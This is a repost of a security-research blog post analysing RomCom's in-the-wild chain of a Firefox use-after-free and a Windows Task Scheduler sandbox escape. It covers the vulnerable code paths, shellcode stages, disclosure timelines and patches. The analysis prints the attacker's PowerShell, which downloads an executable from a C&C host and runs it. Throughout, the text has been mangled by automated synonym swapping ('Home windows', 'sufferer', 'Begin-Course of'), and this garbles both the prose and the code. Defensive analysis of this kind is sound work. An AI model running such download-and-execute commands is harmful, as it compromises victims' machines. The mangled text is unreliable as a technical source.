RomCom exploits Firefox and Windows zero days in the wild

ESET researchers found a beforehand unknown vulnerability in Mozilla merchandise, exploited within the wild by Russia-aligned group RomCom. That is at the least the second time that RomCom has been caught exploiting a big zero-day vulnerability within the wild, after the abuse of CVE-2023-36884 through Microsoft Phrase in June 2023.

This crucial vulnerability, assigned CVE-2024-9680 with a CVSS rating of 9.8, permits weak variations of Firefox, Thunderbird, and the Tor Browser to execute code within the restricted context of the browser. Chained with one other beforehand unknown vulnerability in Home windows, assigned CVE-2024-49039 with a CVSS rating of 8.8, arbitrary code might be executed within the context of the logged-in person. In a profitable assault, if a sufferer browses to an internet web page containing the exploit, an adversary can run arbitrary code – with none person interplay required – which on this case led to the set up of RomCom’s eponymous backdoor on the sufferer’s pc.

Key factors of this blogpost:

• On October 8^th, 2024, ESET researchers found a beforehand unknown zero-day vulnerability in Mozilla merchandise being exploited within the wild.
• Evaluation of the exploit led to the invention of the vulnerability, now assigned CVE-2024-9680: a use-after-free bug within the animation timeline function in Firefox. Mozilla patched the vulnerability on October 9^th, 2024.
• Additional evaluation revealed one other zero-day vulnerability in Home windows: a privilege escalation bug, now assigned CVE‑2024‑49039, that enables code to run exterior of Firefox’s sandbox. Microsoft launched a patch for this second vulnerability on November 12^th, 2024.
• Profitable exploitation makes an attempt delivered the RomCom backdoor, in what appears to be like like a widespread marketing campaign.

RomCom profile

RomCom (also referred to as Storm-0978, Tropical Scorpius, or UNC2596) is a Russia-aligned group that conducts each opportunistic campaigns towards chosen enterprise verticals and focused espionage operations. The group’s focus has shifted to incorporate espionage operations amassing intelligence, in parallel with its extra standard cybercrime operations. The backdoor utilized by the group is able to executing instructions and downloading further modules to the sufferer’s machine.

Desk 1 reveals the sectors focused, in accordance with our analysis, by RomCom in 2024. This highlights that the group is engaged in espionage but in addition cybercrime operations.

Desk 1. RomCom victims in 2024

Compromise chain

The compromise chain consists of a pretend web site that redirects the potential sufferer to the server internet hosting the exploit, and will the exploit succeed, shellcode is executed that downloads and executes the RomCom backdoor – an instance of which is depicted in Determine 1. Whereas we don’t know the way the hyperlink to the pretend web site is distributed, nonetheless, if the web page is reached utilizing a weak browser, a payload is dropped and executed on the sufferer’s pc with no person interplay required. Lastly, a JavaScript redirection is carried out utilizing window.location.href after a number of seconds, giving the exploit time to run.

From October 10^th, 2024 to October 16^th, 2024, simply after the primary vulnerability was patched, we discovered different C&C servers internet hosting the exploit. They used a recurring naming scheme for his or her pretend servers by including the prefix or suffix redir or crimson to a reputable area, typically additionally altering its top-level area (TLD), as proven in Desk 2. The redirection on the finish of the exploitation try took the victims to the reputable web site on the unique area title, presumably to keep away from elevating the targets’ suspicions.

Desk 2. Pretend servers redirecting to the exploit

If a sufferer utilizing a weak browser visits an internet web page serving this exploit, the vulnerability is triggered and shellcode is executed in a content process. The shellcode consists of two elements: the primary retrieves the second from reminiscence and marks the containing pages as executable, whereas the second implements a PE loader based mostly on the open-source undertaking Shellcode Reflective DLL Injection (RDI).

The loaded library implements a sandbox escape for Firefox that results in downloading and executing the RomCom backdoor on the sufferer’s pc. The backdoor is staged at a C&C server positioned at journalctd[.]dwell, correctiv[.]sbs, or cwise[.]retailer, relying on the pattern.

In accordance with our telemetry, from October 10^th, 2024 to November 4^th, 2024, potential victims who visited web sites internet hosting the exploit had been positioned principally in Europe and North America, as proven in Determine 2. The variety of potential targets runs from a single sufferer per nation to as many as 250, in accordance with ESET telemetry.

CVE-2024-9680: Use-after-free in Firefox animation timeline

On October 8^th, 2024, we discovered fascinating information used to ship the RomCom backdoor, hosted on the server 1drv.us[.]com managed by the risk actor. The exploits goal a use-after-free vulnerability in Firefox animation timelines, permitting an attacker to attain code execution in a content material course of. Throughout our investigation, we analyzed the information referenced in Desk 3.

Desk 3. Recordsdata associated to the exploit

Timestamps associated to those information point out that they had been created on October 3^rd, 2024 and made accessible on-line; however, the risk actor may need been in possession of this exploit sooner than this.

We reported the vulnerability to Mozilla shortly after discovery, with the next timeline of occasions:

• 2024-10-08: Discovery and preliminary evaluation.
• 2024-10-08: Vulnerability reported to Mozilla.
• 2024-10-08: Vulnerability acknowledged by Mozilla.
• 2024-10-09: CVE-2024-9680 assigned by Mozilla Company.
• 2024-10-09: Vulnerability patched in Firefox, Security Advisory 2024-51.
• 2024-10-09: Vulnerability patched in Tor Browser with release 13.5.7.
• 2024-10-10: Vulnerability patched in Tails with release 6.8.1.
• 2024-10-10: Vulnerability patched in Thunderbird, Security Advisory 2024-52.

We wish to thank the workforce at Mozilla for being very responsive and spotlight their spectacular work to launch a patch inside a day.

Mozilla and the Tor Undertaking launched a patch that fixes the vulnerability within the following variations:

• Firefox 131.0.2
• Firefox ESR 115.16.1
• Firefox ESR 128.3.1
• Tor Browser 13.5.7
• Tails 6.8.1
• Thunderbird 115.16
• Thunderbird 128.3.1
• Thunderbird 131.0.1

Throughout the preparation of this blogpost, unbiased researcher Dimitri Fourny launched a detailed analysis of the vulnerability on November 14^th, 2024.

Root trigger evaluation

The main-<Firefox model>.js first checks the precise model of the browser, and determines its exploitability by checking some particular objects’ offsets and sizes for an affected model. If these checks cross, it proceeds so as to add an HTML iframe into the exploit web page, applied in animation0.html. The latter creates 4 HTML div components recognized respectively as target0 to target3, however most significantly it defines a getter perform for the Object.prototype’s then property as proven in Determine 3. This perform will set off the use-after-free vulnerability as defined under. Observe that the feedback (in darkish inexperienced) are from the exploit authors; this might point out that the exploit was nonetheless in a developmental section or that the risk actor purchased it.

After some preliminary heap spraying, the put together perform creates 4 Animation objects, one for every div aspect beforehand created, as illustrated in Determine 4. These animation objects are dealt with by an AnimationTimeline object.

Throughout the doc animation timeline, the check perform known as, which pauses and will get the ready property of the primary and second animation objects. As said within the documentation, the prepared property returns a Promise that resolves when the animation is able to be performed. Calling the then technique on the promise causes the getter perform proven in Determine 3 to be known as. Primarily, this perform increments a world flag variable and when it reaches 2, the primary animation object (anim0) is cancelled, and all of the div components are eliminated. The decision to the rm0 perform (proven in Determine 3) units the animation objects to null to be able to free them, which triggers the use-after-free vulnerability. This perform additionally does some heap feng shui and, within the initially found exploit, calls the getInfo perform chargeable for reaching code execution.

Within the meantime, because the animation0.html doc is being refreshed, the Tick technique of its AnimationTimeline object known as periodically. As seen in Determine 5, this technique iterates over the totally different animation objects current within the animation timeline and appends animations to be eliminated to a neighborhood array variable known as animationsToRemove.

The bug lies in that, whereas iterating over the totally different animation objects of the animation timeline, the Tick technique of the Animation object known as, which may result in the releasing of the present animation object, leading to handling a dangling pointer. Whereas debugging the exploit, we noticed a sequence of calls that finally ended up within the getter perform defined above, as illustrated in Determine 6 and Determine 7.

The getter perform calls Animation::Cancel which in flip calls AnimationTimeline::RemoveAnimation. Then, the animation objects anim0 and anim1 are set to null to ensure that them to get freed. When AnimationTimeline::Tick then iterates over the array animationsToRemove (line 74 in Determine 5), AnimationTimeline::RemoveAnimation will manipulate a dangling pointer of an Animation object that was already eliminated, as proven in Determine 8.

After releasing the animations within the rm0 perform, the exploit proceeds with extra heap administration to be able to management the objects that may substitute the freed animations, and at last, the getInfo perform known as, as seen in Determine 9.

With out going into an excessive amount of element in regards to the exploit code, its creator abused div objects and their attributes in addition to ImageData objects to leak properties of the latter, as noticed in Determine 10.

Then, the exploit code proceeds to control ArrayBuffer objects in order to leak the deal with of an arbitrary JavaScript object (often known as an addrof primitive) and abuse the Firefox JIT compiler to execute the primary shellcode part within the context of a content material course of, as illustrated in Determine 11. This method is defined in nice element on this blogpost.

Mozilla patched the vulnerability in Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1 on October 9^th, 2024. Primarily, the tips that could the animation objects dealt with by the timeline at the moment are applied by reference-counting pointers (RefPtr), as instructed by the diff, which prevents the animations from being freed, since AnimationTimeline::Tick will nonetheless maintain a reference to them.

Shellcode evaluation

Each shellcodes are saved within the JavaScript exploit file main-<Firefox model>.js. The primary one is dynamically created as an array of float numbers whereas the second is saved as an enormous array of bytes.

Egghunting shellcode

This primary shellcode merely retrieves the second shellcode by looking out in reminiscence for a hardcoded magic worth of 0x8877665544332211, adjustments its reminiscence safety to read-write-execute (RWX), and executes the code positioned at this deal with.

Reflective loader shellcode

This second shellcode is the compiled model of the Shellcode RDI undertaking, which allows a DLL to be loaded. The constants used within the shellcode weren’t modified by the risk actor (see https://github.com/monoxgas/sRDI/blob/master/Native/Loader.cpp#L367 vs. the constants proven in Determine 12).

The shellcode merely hundreds an embedded library whose sole function is to flee the restrictions of Firefox’s sandboxed content material course of.

CVE-2024-49039: Privilege escalation in Home windows Job Scheduler

The loaded library (SHA1: ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6), named PocLowIL by its builders and compiled on October 3^rd, 2024, implements a sandbox escape from the untrusted course of degree of the content material course of to a medium degree. Primarily, the library makes use of an undocumented RPC endpoint, which shouldn’t have been callable from an untrusted course of degree, to launch a hidden PowerShell course of that downloads a second stage from a C&C server.

The timeline of the vulnerability disclosure is the next:

• 2024-10-08: As a part of our preliminary report back to Mozilla for CVE-2024-9680, we additionally supplied what we believed to be a sandbox escape.
• 2024-10-14: Mozilla’s safety workforce confirmed the sandbox escape and deemed the vulnerability to be tied to a Home windows safety flaw. They suggested us that they’d contacted the Microsoft Safety Response Heart (MSRC) to evaluate the vulnerability.
• 2024-11-12: Microsoft launched an advisory for CVE-2024-49039 and its corresponding patch by the replace KB5046612. The vulnerability was additionally independently discovered by Vlad Stolyarov and Bahare Sabouri of Google’s Menace Evaluation Group, as talked about in KB5046612.

Root trigger evaluation

The sandbox escape code resides within the comparatively small foremost perform of the library. It makes use of an undocumented RPC endpoint, as illustrated in Determine 13.

The perform proceeds to populate undocumented buildings and calls NdrClientCall2 3 times. The primary parameter handed to this perform, pStubDescriptor, is a MIDL_STUB_DESC construction whose RpcInterfaceInformation member factors to an interface recognized by the GUID 33D84484-3626-47EE-8C6F-E7E98B113BE1. This interface is applied within the Home windows library WPTaskScheduler.dll, loaded by schedsvc.dll, hosted within the strategy of the duty scheduler service (svchost.exe).

In accordance with our evaluation of this interface, the sandbox escape code calls the next capabilities:

• s_TaskSchedulerCreateSchedule
• s_TaskSchedulerExecuteSchedule
• s_TaskSchedulerDeleteSchedule (used just for cleanup)

Utilizing RpcView and after partially reversing some buildings, we found out the principle buildings, as illustrated in Determine 14.

After making use of these buildings in IDA Professional, we obtained a clearer overview of the duty, as seen in Determine 15.

Based mostly on the code, the malicious library creates a scheduled activity that may run an arbitrary utility at medium integrity degree, permitting the attackers to raise their privileges on the system and get away of the sandbox. That is doable because of the lack of restrictions imposed on the security descriptor utilized to the RPC interface throughout its creation, as illustrated in Determine 16.

The renamed variable interface_security_descriptor, used when RpcServerRegisterIf3 known as, has the next worth: D:P(A;;GA;;;S-1-15-2-1)(A;;GA;;;WD). In accordance with the Security Descriptor Definition Language (SDDL), it permits everybody (WD) to speak with the RPC interface and name its procedures no matter their integrity degree.

Exploitation

On this case, the risk actor created a activity named firefox.exe that may launch conhost.exe in headless mode to be able to hide the child process window. The deobfuscation of the remainder of the command line (proven in Determine 15) revealed the PowerShell code seen in Determine 17.

$a=$env:public + 'public';
Invoke-WebRequest https://journalctd[.]dwell/JfWb4OrQPLh -o $a;
sleep 15;
Rename-Merchandise $a ($a = ($a + '.exe')) # $env:publicpublic.exe
Begin-Course of $a;
sleep 10;
Rename-Merchandise $a ($a = ($a -replace 'public.e', 'epublic.e')) # $env:publicepublic.exe
Begin-Course of $a

Determine 17. PowerShell code downloading a next-stage part

An executable is downloaded from https://journalctd[.]dwell/JfWb4OrQPLh, saved within the %PUBLIC% folder as public.exe, and run. After 10 seconds, it’s renamed as epublic.exe and run once more.

Transient patch evaluation

The patched model of WPTaskScheduler.dll (model 10.0.19041.5129) launched with KB5046612 makes use of a extra sophisticated safety descriptor, as proven in Determine 18.

The brand new safety descriptor is:

D:(A;;GRGWGX;;;SY)(A;;GRGWGX;;;LS)(A;;GR;;;NS)(A;;GR;;;IU)S:(ML;;NWNXNR;;;ME)

Breaking down the string reveals the next restriction logic:

• the system (SY) and native service (LS) accounts are granted learn, write, and execute entry,
• the community service (NS) account and interactive customers (IU) are granted solely learn entry,
• lastly, objects under medium degree (ME) integrity are denied learn, write, and execute entry.

The brand new restrictions imposed by the up to date safety descriptor stop the privilege escalation and render the sandbox escape code out of date.

Conclusion

Chaining collectively two zero-day vulnerabilities armed RomCom with an exploit that requires no person interplay. This degree of sophistication reveals the risk actor’s will and means to acquire or develop stealthy capabilities. ESET shared detailed findings with Mozilla, following our coordinated vulnerability disclosure course of shortly after discovery. Mozilla launched a blogpost about how they reacted to the disclosure and had been capable of launch a repair inside 25 hours, which may be very spectacular compared to trade requirements.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis provides non-public APT intelligence stories and knowledge feeds. For any inquiries about this service, go to the ESET Threat Intelligence web page.

IoCs

A complete record of indicators of compromise and samples might be present in our GitHub repository.

Recordsdata

Community

MITRE ATT&CK methods

This desk was constructed utilizing version 16 of the MITRE ATT&CK framework.